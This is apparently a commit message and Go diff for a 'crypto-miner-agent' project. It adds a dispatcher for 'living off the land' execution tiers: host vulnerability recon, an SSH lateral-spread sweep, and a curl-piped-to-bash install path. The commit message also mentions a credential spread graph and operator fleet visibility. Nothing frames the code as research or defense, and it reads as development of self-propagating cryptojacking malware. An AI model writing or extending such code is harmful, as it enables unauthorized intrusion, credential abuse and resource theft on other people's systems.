Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/lotl_onion_stub.go

@@ -0,0 +1,27 @@
+//go:build !windows
+
+package deploy
+
+import (
+	"crypto-miner-agent/config"
+)
+
+func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
+	switch tier {
+	case "vuln_recon":
+		RunVulnRecon(HostOSVersion())
+		return true, "vuln recon complete (report only)"
+	case "linux":
+		if cfg.AutoSpread {
+			go RunSpreadOnce(cfg)
+			return true, "ssh lateral sweep started"
+		}
+		return false, "auto_spread disabled"
+	case "docker":
+		return false, "container tier stub on non-windows"
+	case "bits_curl":
+		return true, "curl|bash install one-liner available"
+	default:
+		return false, "tier not supported on this platform"
+	}
+}